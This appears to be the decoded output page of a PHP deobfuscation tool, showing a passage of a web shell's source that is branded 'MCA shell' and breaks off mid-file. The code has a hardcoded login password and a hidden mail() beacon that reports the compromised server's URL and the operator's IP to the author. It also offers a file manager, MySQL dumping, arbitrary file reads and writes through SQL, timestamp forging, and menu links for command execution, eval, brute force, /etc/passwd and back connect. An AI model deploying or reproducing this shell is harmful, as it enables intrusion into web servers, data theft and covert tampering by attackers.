Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //********************************************************************************..

Decoded Output download

?>b'<?php

error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(\' \', microtime());
$starttime = $mtime[1] + $mtime[0];
define(\'SA_ROOT\', str_replace(\'\\\', \'/\', dirname(__FILE__)).\'/\');
//define(\'IS_WIN\', strstr(PHP_OS, \'WIN\') ? 1 : 0 );
define(\'IS_WIN\', DIRECTORY_SEPARATOR == \'\\\');
define(\'IS_COM\', class_exists(\'COM\') ? 1 : 0 );
define(\'IS_GPC\', get_magic_quotes_gpc());
$dis_func = get_cfg_var(\'disable_functions\');
define(\'IS_PHPINFO\', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);

foreach(array(\'_GET\',\'_POST\') as $_request) {
	foreach($$_request as $_key => $_value) {
		if ($_key{0} != \'_\') {
			if (IS_GPC) {
				$_value = s_array($_value);
			}
			$$_key = $_value;
		}
	}
}

/*=================  Info Login  ================*/
$admin = array();
$admin[\'check\'] = true;
$admin[\'pass\']  = \'cyclone\'; // Password login
$admin[\'cookiepre\'] = \'\';
$admin[\'cookiedomain\'] = \'\';
$admin[\'cookiepath\'] = \'/\';
$admin[\'cookielife\'] = 86400;
/*===================== End =====================*/

if ($charset == \'utf8\') {
	header("content-Type: text/html; charset=utf-8");
} elseif ($charset == \'big5\') {
	header("content-Type: text/html; charset=big5");
} elseif ($charset == \'gbk\') {
	header("content-Type: text/html; charset=gbk");
} elseif ($charset == \'latin1\') {
	header("content-Type: text/html; charset=iso-8859-2");
}

$self = $_SERVER[\'PHP_SELF\'] ? $_SERVER[\'PHP_SELF\'] : $_SERVER[\'SCRIPT_NAME\'];
$timestamp = time();

/*===================== Login =====================*/
if ($action == "logout") {
	scookie(\'vbapass\', \'\', -86400 * 365);
	p(\'<meta http-equiv="refresh" content="0;URL=\'.$self.\'">\');
	p(\'<body background=black>\');
	exit;
}
if($admin[\'check\']) {
	if ($doing == \'login\') {
		if ($admin[\'pass\'] == $password) {
			scookie(\'vbapass\', $password);

// Function mail Sender to my Email - Please remove this before you using this shell code
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = \'shell@\'.gethostbyname($_SERVER[\'SERVER_NAME\']).\'\';
$to_email = \'[email protected]\';
$server_mail = "".gethostbyname($_SERVER[\'SERVER_NAME\'])."  - ".$_SERVER[\'HTTP_HOST\']."";
$linkcr = "Link: ".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']." - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
			p(\'<meta http-equiv="refresh" content="2;URL=\'.$self.\'">\');
			p(\'<body bgcolor=black>
<BR><BR><div align=center><font color=yellow face=tahoma size=2>Wellcomeback  - Please wait...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>\');
			exit;
		}

	else
	{
	$err_mess = \'<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>\';
echo $err_mess;
	}}
	if ($_COOKIE[\'vbapass\']) {
		if ($_COOKIE[\'vbapass\'] != $admin[\'pass\']) {
			loginpage();
		}
	} else {
		loginpage();
	}
}
/*===================== Login =====================*/

$errmsg = \'\';

if ($action == \'phpinfo\') {
	if (IS_PHPINFO) {
		phpinfo();
	} else {
		$errmsg = \'phpinfo() function has non-permissible\';
	}
}


if ($doing == \'downfile\' && $thefile) {
	if (!@file_exists($thefile)) {
		$errmsg = \'The file you want Downloadable was nonexistent\';
	} else {
		$fileinfo = pathinfo($thefile);
		header(\'Content-type: application/x-\'.$fileinfo[\'extension\']);
		header(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);
		header(\'Content-Length: \'.filesize($thefile));
		@readfile($thefile);
		exit;
	}
}


if ($doing == \'backupmysql\' && !$saveasfile) {
	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
	$table = array_flip($table);
	$result = q("SHOW tables");
	if (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');
	$filename = basename($_SERVER[\'HTTP_HOST\'].\'_MySQL.sql\');
	header(\'Content-type: application/unknown\');
	header(\'Content-Disposition: attachment; filename=\'.$filename);
	$mysqldata = \'\';
	while ($currow = mysql_fetch_array($result)) {
		if (isset($table[$currow[0]])) {
			$mysqldata .= sqldumptable($currow[0]);
		}
	}
	mysql_close();
	exit;
}

// Mysql
if($doing==\'mysqldown\'){
	if (!$dbname) {
		$errmsg = \'Please input dbname\';
	} else {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		if (!file_exists($mysqldlfile)) {
			$errmsg = \'The file you want Downloadable was nonexistent\';
		} else {
			$result = q("select load_file(\'$mysqldlfile\');");
			if(!$result){
				q("DROP TABLE IF EXISTS tmp_angel;");
				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
				//Download SQL
				q("LOAD DATA LOCAL INFILE \'".addslashes($mysqldlfile)."\' INTO TABLE tmp_angel FIELDS TERMINATED BY \'__angel_{$timestamp}_eof__\' ESCAPED BY \'\' LINES TERMINATED BY \'__angel_{$timestamp}_eof__\';");
				$result = q("select content from tmp_angel");
				q("DROP TABLE tmp_angel");
			}
			$row = @mysql_fetch_array($result);
			if (!$row) {
				$errmsg = \'Load file failed \'.mysql_error();
			} else {
				$fileinfo = pathinfo($mysqldlfile);
				header(\'Content-type: application/x-\'.$fileinfo[\'extension\']);
				header(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);
				header("Accept-Length: ".strlen($row[0]));
				echo $row[0];
				exit;
			}
		}
	}
}

?>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?php echo str_replace(\'.\',\'\',\'.::---[MCA shell]---::.\');?></title>
<style type="text/css">
body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}

a {color: #74A202;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
	font-size: 9pt;
	color: #ccc;
	font-family: verdana, sans-serif;
	background-color: #202020;
	border-left: 1px solid #74A202;
	border-top: 1px solid #74A202;
	border-right: 1px solid #74A202;
	border-bottom: 1px solid #74A202;
}
select
{
	font-size: 8pt;
	font-weight: normal;
	color: #ccc;
	font-family: verdana, sans-serif;
	background-color: #202020;
}

</style>
<script type="text/javascript">
function CheckAll(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != \'chkall\')
		e.checked = form.chkall.checked;
    }
}
function $(id) {
	return document.getElementById(id);
}
function goaction(act){
	$(\'goaction\').action.value=act;
	$(\'goaction\').submit();
}
</script>
</head>
<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>


<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
				<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
					<tr>

						<td align="center" valign=center>
				 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">
				   Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
				  </div>
				</td>
					</tr>
				</table>
			 </div>

 <script>
 var ld=(document.all);
  var ns4=document.layers;
 var ns6=document.getElementById&&!document.all;
 var ie4=document.all;
  if (ns4)
 	ld=document.loading;
 else if (ns6)
 	ld=document.getElementById("loading").style;
 else if (ie4)
 	ld=document.all.loading.style;
  function init()
 {
 if(ns4){ld.visibility="hidden";}
 else if (ns6||ie4) ld.display="none";
 }
 </script>




<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head_small">
		<td  width=100%>
		<table width=100%><tr class="head_small"><td  width=86px><a title="VN hacker" href="<?php $self;?>"><img src=http://s13.postimg.org/5mpfjshgj/mca.png height=86 border=0></a></td><td>
		<span style="float:left;"> <?php echo "Hostname: ".$_SERVER[\'HTTP_HOST\']."";?>  | <a href="https://www.facebook.com/groups/MuslimCyberArmy786/" target="_blank"><?php echo str_replace(\'.\',\'\',\'.::[ BillGate - Muslim Cyber Army ]::.\');?> </a> | <a href="javascript:goaction(\'logout\');"><font color=red>Logout</font></a></span> <br />

		<?php
		$curl_on = @function_exists(\'curl_version\');
		$mysql_on = @function_exists(\'mysql_connect\');
		$mssql_on = @function_exists(\'mssql_connect\');
		$pg_on = @function_exists(\'pg_connect\');
		$ora_on = @function_exists(\'ocilogon\');

echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
echo "PHP version: <b>".@phpversion()."</b> - ";
		echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
		echo "MySQL: <b>";
$mysql_on = @function_exists(\'mysql_connect\');
if($mysql_on){
echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
echo "MSSQL: <b>";
$mssql_on = @function_exists(\'mssql_connect\');
if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "PostgreSQL: <b>";
$pg_on = @function_exists(\'pg_connect\');
if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "Oracle: <b>";
$ora_on = @function_exists(\'ocilogon\');
if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}

echo "Disable functions : <b>";
if(\'\'==($df=@ini_get(\'disable_functions\'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}

echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
		?>
		</td></tr></table></td>

	</tr>
	<tr class="alt1">
		<td  width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER[\'SERVER_NAME\'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER[\'REMOTE_ADDR\']."</font>";?>] </span>   <br />
--------------------------------------------------------------------------------------<br />
			
			<a href="javascript:goaction(\'file\');">File Manager</a> |
			<a href="javascript:goaction(\'sqladmin\');">MySQL Manager</a> |
			<a href="javascript:goaction(\'sqlfile\');">MySQL Upload &amp; Download</a> |
			<a href="javascript:goaction(\'shell\');">Execute Command</a> |
			<a href="javascript:goaction(\'phpenv\');">PHP Variable</a> |
			<a href="javascript:goaction(\'eval\');">Eval PHP Code</a>

			<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'brute\');">Brute</a> <?php }?>
			<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'etcpwd\');">/etc/passwd</a> <?php }?>
			<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'backconnect\');">Back Connect</a><?php }?>

		</td>
	</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php

formhead(array(\'name\'=>\'goaction\'));
makehide(\'action\');
formfoot();

$errmsg && m($errmsg);

// Dir function
!$dir && $dir = \'.\';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != \'/\') {
	$dir = $dir.\'/\';
}
$uedir = ue($dir);

if (!$action || $action == \'file\') {

	// Non-writeable
	$dir_writeable = @is_writable($nowpath) ? \'Writable\' : \'Non-writable\';

	// Delete dir
	if ($doing == \'deldir\' && $thefile) {
		if (!file_exists($thefile)) {
			m($thefile.\' directory does not exist\');
		} else {
			m(\'Directory delete \'.(deltree($thefile) ? basename($thefile).\' success\' : \'failed\'));
		}
	}

	// Create new dir
	elseif ($newdirname) {
		$mkdirs = $nowpath.$newdirname;
		if (file_exists($mkdirs)) {
			m(\'Directory has already existed\');
		} else {
			m(\'Directory created \'.(@mkdir($mkdirs,0777) ? \'success\' : \'failed\'));
			@chmod($mkdirs,0777);
		}
	}

	// Upload file
	elseif ($doupfile) {
		m(\'File upload \'.(@copy($_FILES[\'uploadfile\'][\'tmp_name\'],$uploaddir.\'/\'.$_FILES[\'uploadfile\'][\'name\']) ? \'success\' : \'failed\'));
	}

	// Edit file
	elseif ($editfilename && $filecontent) {
		$fp = @fopen($editfilename,\'w\');
		m(\'Save file \'.(@fwrite($fp,$filecontent) ? \'success\' : \'failed\'));
		@fclose($fp);
	}

	// Modify
	elseif ($pfile && $newperm) {
		if (!file_exists($pfile)) {
			m(\'The original file does not exist\');
		} else {
			$newperm = base_convert($newperm,8,10);
			m(\'Modify file attributes \'.(@chmod($pfile,$newperm) ? \'success\' : \'failed\'));
		}
	}

	// Rename
	elseif ($oldname && $newfilename) {
		$nname = $nowpath.$newfilename;
		if (file_exists($nname) || !file_exists($oldname)) {
			m($nname.\' has already existed or original file does not exist\');
		} else {
			m(basename($oldname).\' renamed \'.basename($nname).(@rename($oldname,$nname) ? \' success\' : \'failed\'));
		}
	}

	// Copu
	elseif ($sname && $tofile) {
		if (file_exists($tofile) || !file_exists($sname)) {
			m(\'The goal file has already existed or original file does not exist\');
		} else {
			m(basename($tofile).\' copied \'.(@copy($sname,$tofile) ? basename($tofile).\' success\' : \'failed\'));
		}
	}

	// File exit
	elseif ($curfile && $tarfile) {
		if (!@file_exists($curfile) || !@file_exists($tarfile)) {
			m(\'The goal file has already existed or original file does not exist\');
		} else {
			$time = @filemtime($tarfile);
			m(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));
		}
	}

	// Date
	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
		if (!@file_exists($curfile)) {
			m(basename($curfile).\' does not exist\');
		} else {
			$time = strtotime("$year-$month-$day $hour:$minute:$second");
			m(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));
		}
	}

	// Download
	elseif($doing == \'downrar\') {
		if ($dl) {
			$dfiles=\'\';
			foreach ($dl as $filepath => $value) {
				$dfiles.=$filepath.\',\';
			}
			$dfiles=substr($dfiles,0,strlen($dfiles)-1);
			$dl=explode(\',\',$dfiles);
			$zip=new PHPZip($dl);
			$code=$zip->out;
			header(\'Content-type: application/octet-stream\');
			header(\'Accept-Ranges: bytes\');
			header(\'Accept-Length: \'.strlen($code));
			header(\'Content-Disposition: attachment;filename=\'.$_SERVER[\'HTTP_HOST\'].\'_Files.tar.gz\');
			echo $code;
			exit;
		} else {
			m(\'Please select file(s)\');
		}
	}

	// Delete file
	elseif($doing == \'delfiles\') {
		if ($dl) {
			$dfiles=\'\';
			$succ = $fail = 0;
			foreach ($dl as $filepath => $value) {
				if (@unlink($filepath)) {
					$succ++;
				} else {
					$fail++;
				}
			}
			m(\'Deleted file have finished??choose \'.count($dl).\' success \'.$succ.\' fail \'.$fail);
		} else {
			m(\'Please select file(s)\');
		}
	}

	// Function Newdir
	formhead(array(\'name\'=>\'createdir\'));
	makehide(\'newdirname\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'fileperm\'));
	makehide(\'newperm\');
	makehide(\'pfile\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'copyfile\'));
	makehide(\'sname\');
	makehide(\'tofile\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'rename\'));
	makehide(\'oldname\');
	makehide(\'newfilename\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'fileopform\'));
	makehide(\'action\');
	makehide(\'opfile\');
	makehide(\'dir\');
	formfoot();

	$free = @disk_free_space($nowpath);
	!$free && $free = 0;
	$all = @disk_total_space($nowpath);
	!$all && $all = 0;
	$used = $all-$free;
	$used_percent = @round(100/($all/$free),2);
	p(\'<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>\'.sizecount($free).\'</font> of <font color=red>\'.sizecount($all).\'</font> (<font color=red>\'.$used_percent.\'</font>%)</font>\');

?>

<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  <form action="" method="post" id="godir" name="godir">
  <tr>
    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="GO" type="submit"></td>
  </tr>
  </form>

</table>
<script type="text/javascript">
function createdir(){
	var newdirname;
	newdirname = prompt(\'Please input the directory name:\', \'\');
	if (!newdirname) return;
	$(\'createdir\').newdirname.value=newdirname;
	$(\'createdir\').submit();
}
function fileperm(pfile){
	var newperm;
	newperm = prompt(\'Current file:\'+pfile+\'\nPlease input new attribute:\', \'\');
	if (!newperm) return;
	$(\'fileperm\').newperm.value=newperm;
	$(\'fileperm\').pfile.value=pfile;
	$(\'fileperm\').submit();
}
function copyfile(sname){
	var tofile;
	tofile = prompt(\'Original file:\'+sname+\'\nPlease input object file (fullpath):\', \'\');
	if (!tofile) return;
	$(\'copyfile\').tofile.value=tofile;
	$(\'copyfile\').sname.value=sname;
	$(\'copyfile\').submit();
}
function rename(oldname){
	var newfilename;
	newfilename = prompt(\'Former file name:\'+oldname+\'\nPlease input new filename:\', \'\');
	if (!newfilename) return;
	$(\'rename\').newfilename.value=newfilename;
	$(\'rename\').oldname.value=oldname;
	$(\'rename\').submit();
}
function dofile(doing,thefile,m){
	if (m && !confirm(m)) {
		return;
	}
	$(\'filelist\').doing.value=doing;
	if (thefile){
		$(\'filelist\').thefile.value=thefile;
	}
	$(\'filelist\').submit();
}
function createfile(nowpath){
	var filename;
	filename = prompt(\'Please input the file name:\', \'\');
	if (!filename) return;
	opfile(\'editfile\',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
	$(\'fileopform\').action.value=action;
	$(\'fileopform\').opfile.value=opfile;
	$(\'fileopform\').dir.value=dir;
	$(\'fileopform\').submit();
}
function godir(dir,view_writable){
	if (view_writable) {
		$(\'godir\').view_writable.value=1;
	}
	$(\'godir\').dir.value=dir;
	$(\'godir\').submit();
}
</script>
  <?php
	tbhead();
	p(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">\');
	p(\'<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="\'.$dir.\'" type="hidden" /><input name="dir" value="\'.$dir.\'" type="hidden" /></div>\');
	p(\'<a href="javascript:godir(\\'\'.$_SERVER["DOCUMENT_ROOT"].\'\\');">WebRoot</a>\');
	if ($view_writable) {
		p(\' | <a href="javascript:godir(\\'\'.$nowpath.\'\\');">View All</a>\');
	} else {
		p(\' | <a href="javascript:godir(\\'\'.$nowpath.\'\\',\\'1\\');">View Writable</a>\');
	}
	p(\' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\\'\'.$nowpath.\'\\');">Create File</a>\');
	if (IS_WIN && IS_COM) {
		$obj = new COM(\'scripting.filesystemobject\');
		if ($obj && is_object($obj)) {
			$DriveTypeDB = array(0 => \'Unknow\',1 => \'Removable\',2 => \'Fixed\',3 => \'Network\',4 => \'CDRom\',5 => \'RAM Disk\');
			foreach($obj->Drives as $drive) {
				if ($drive->DriveType == 2) {
					p(\' | <a href="javascript:godir(\\'\'.$drive->Path.\'/\\');" title="Size:\'.sizecount($drive->TotalSize).\'&#13;Free:\'.sizecount($drive->FreeSpace).\'&#13;Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');
				} else {
					p(\' | <a href="javascript:godir(\\'\'.$drive->Path.\'/\\');" title="Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');
				}
			}
		}
	}

	p(\'</td></tr></form>\');

	p(\'<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>\');

	// Get path
	$dirdata=array();
	$filedata=array();

	if ($view_writable) {
		$dirdata = GetList($nowpath);
	} else {
		// Open dir
		$dirs=@opendir($dir);
		while ($file=@readdir($dirs)) {
			$filepath=$nowpath.$file;
			if(@is_dir($filepath)){
				$dirdb[\'filename\']=$file;
				$dirdb[\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($filepath));
				$dirdb[\'dirchmod\']=getChmod($filepath);
				$dirdb[\'dirperm\']=getPerms($filepath);
				$dirdb[\'fileowner\']=getUser($filepath);
				$dirdb[\'dirlink\']=$nowpath;
				$dirdb[\'server_link\']=$filepath;
				$dirdb[\'client_link\']=ue($filepath);
				$dirdata[]=$dirdb;
			} else {
				$filedb[\'filename\']=$file;
				$filedb[\'size\']=sizecount(@filesize($filepath));
				$filedb[\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($filepath));
				$filedb[\'filechmod\']=getChmod($filepath);
				$filedb[\'fileperm\']=getPerms($filepath);
				$filedb[\'fileowner\']=getUser($filepath);
				$filedb[\'dirlink\']=$nowpath;
				$filedb[\'server_link\']=$filepath;
				$filedb[\'client_link\']=ue($filepath);
				$filedata[]=$filedb;
			}
		}// while
		unset($dirdb);
		unset($filedb);
		@closedir($dirs);
	}
	@sort($dirdata);
	@sort($filedata);
	$dir_i = \'0\';
	foreach($dirdata as $key => $dirdb){
		if($dirdb[\'filename\']!=\'..\' && $dirdb[\'filename\']!=\'.\') {
			$thisbg = bg();
			p(\'<tr class="fout" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'fout\\';">\');
			p(\'<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>\');
			p(\'<td><a href="javascript:godir(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'filename\'].\'</a></td>\');
			p(\'<td nowrap>\'.$dirdb[\'mtime\'].\'</td>\');
			p(\'<td nowrap>--</td>\');
			p(\'<td nowrap>\');
			p(\'<a href="javascript:fileperm(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'dirchmod\'].\'</a> / \');
			p(\'<a href="javascript:fileperm(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'dirperm\'].\'</a>\'.$dirdb[\'fileowner\'].\'</td>\');
			p(\'<td nowrap><a href="javascript:dofile(\\'deldir\\',\\'\'.$dirdb[\'server_link\'].\'\\',\\'Are you sure will delete \'.$dirdb[\'filename\'].\'? \\n\\nIf non-empty directory, will be delete all the files.\\')">Del</a> | <a href="javascript:rename(\\'\'.$dirdb[\'server_link\'].\'\\');">Rename</a></td>\');
			p(\'</tr>\');
			$dir_i++;
		} else {
			if($dirdb[\'filename\']==\'..\') {
				p(\'<tr class=fout>\');
				p(\'<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\\'\'.getUpPath($nowpath).\'\\');">Parent Directory</a></td>\');
				p(\'</tr>\');
			}
		}
	}

	p(\'<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>\');
	p(\'<form id="filelist" name="filelist" action="\'.$self.\'" method="post">\');
	makehide(\'action\',\'file\');
	makehide(\'thefile\');
	makehide(\'doing\');
	makehide(\'dir\',$nowpath);
	$file_i = \'0\';
	foreach($filedata as $key => $filedb){
		if($filedb[\'filename\']!=\'..\' && $filedb[\'filename\']!=\'.\') {
			$fileurl = str_replace(SA_ROOT,\'\',$filedb[\'server_link\']);
			$thisbg = bg();
			p(\'<tr class="fout" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'fout\\';">\');
			p(\'<td width="2%" nowrap><input type="checkbox" value="1" name="dl[\'.$filedb[\'server_link\'].\']"></td>\');
			p(\'<td><a href="\'.$fileurl.\'" target="_blank">\'.$filedb[\'filename\'].\'</a></td>\');
			p(\'<td nowrap>\'.$filedb[\'mtime\'].\'</td>\');
			p(\'<td nowrap>\'.$filedb[\'size\'].\'</td>\');
			p(\'<td nowrap>\');
			p(\'<a href="javascript:fileperm(\\'\'.$filedb[\'server_link\'].\'\\');">\'.$filedb[\'filechmod\'].\'</a> / \');
			p(\'<a href="javascript:fileperm(\\'\'.$filedb[\'server_link\'].\'\\');">\'.$filedb[\'fileperm\'].\'</a>\'.$filedb[\'fileowner\'].\'</td>\');
			p(\'<td nowrap>\');
			p(\'<a href="javascript:dofile(\\'downfile\\',\\'\'.$filedb[\'server_link\'].\'\\');">Down</a> | \');
			p(\'<a href="javascript:copyfile(\\'\'.$filedb[\'server_link\'].\'\\');">Copy</a> | \');
			p(\'<a href="javascript:opfile(\\'editfile\\',\\'\'.$filedb[\'server_link\'].\'\\',\\'\'.$filedb[\'dirlink\'].\'\\');">Edit</a> | \');
			p(\'<a href="javascript:rename(\\'\'.$filedb[\'server_link\'].\'\\');">Rename</a> | \');
			p(\'<a href="javascript:opfile(\\'newtime\\',\\'\'.$filedb[\'server_link\'].\'\\',\\'\'.$filedb[\'dirlink\'].\'\\');">Time</a>\');
			p(\'</td></tr>\');
			$file_i++;
		}
	}
	p(\'<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\\'downrar\\');">Packing download selected</a> - <a href="javascript:dofile(\\'delfiles\\');">Delete selected</a></td><td colspan="4" align="right">\'.$dir_i.\' directories / \'.$file_i.\' files</td></tr>\');
	p(\'</form></table>\');
}// end dir

elseif ($action == \'sqlfile\') {
	if($doing=="mysqlupload"){
		$file = $_FILES[\'uploadfile\'];
		$filename = $file[\'tmp_name\'];
		if (file_exists($savepath)) {
			m(\'The goal file has already existed\');
		} else {
			if(!$filename) {
				m(\'Please choose a file\');
			} else {
				$fp=@fopen($filename,\'r\');
				$contents=@fread($fp, filesize($filename));
				@fclose($fp);
				$contents = bin2hex($contents);
				if(!$upname) $upname = $file[\'name\'];
				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE \'$savepath\';");
				m($result ? \'Upload success\' : \'Upload has failed: \'.mysql_error());
			}
		}
	}
?>

<script type="text/javascript">
function mysqlfile(doing){
	if(!doing) return;
	$(\'doing\').value=doing;
	$(\'mysqlfile\').dbhost.value=$(\'dbinfo\').dbhost.value;
	$(\'mysqlfile\').dbport.value=$(\'dbinfo\').dbport.value;
	$(\'mysqlfile\').dbuser.value=$(\'dbinfo\').dbuser.value;
	$(\'mysqlfile\').dbpass.value=$(\'dbinfo\').dbpass.value;
	$(\'mysqlfile\').dbname.value=$(\'dbinfo\').dbname.value;
	$(\'mysqlfile\').charset.value=$(\'dbinfo\').charset.value;
	$(\'mysqlfile\').submit();
}
</script>
<?php
	!$dbhost && $dbhost = \'localhost\';
	!$dbuser && $dbuser = \'root\';
	!$dbport && $dbport = \'3306\';
	$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');
	formhead(array(\'title\'=>\'MYSQL Information\',\'name\'=>\'dbinfo\'));
	makehide(\'action\',\'sqlfile\');
	p(\'<p>\');
	p(\'DBHost:\');
	makeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));
	p(\':\');
	makeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));
	p(\'DBUser:\');
	makeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));
	p(\'DBPass:\');
	makeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));
	p(\'DBName:\');
	makeinput(array(\'name\'=>\'dbname\',\'size\'=>15,\'value\'=>$dbname));
	p(\'DBCharset:\');
	makeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));
	p(\'</p>\');
	formfoot();
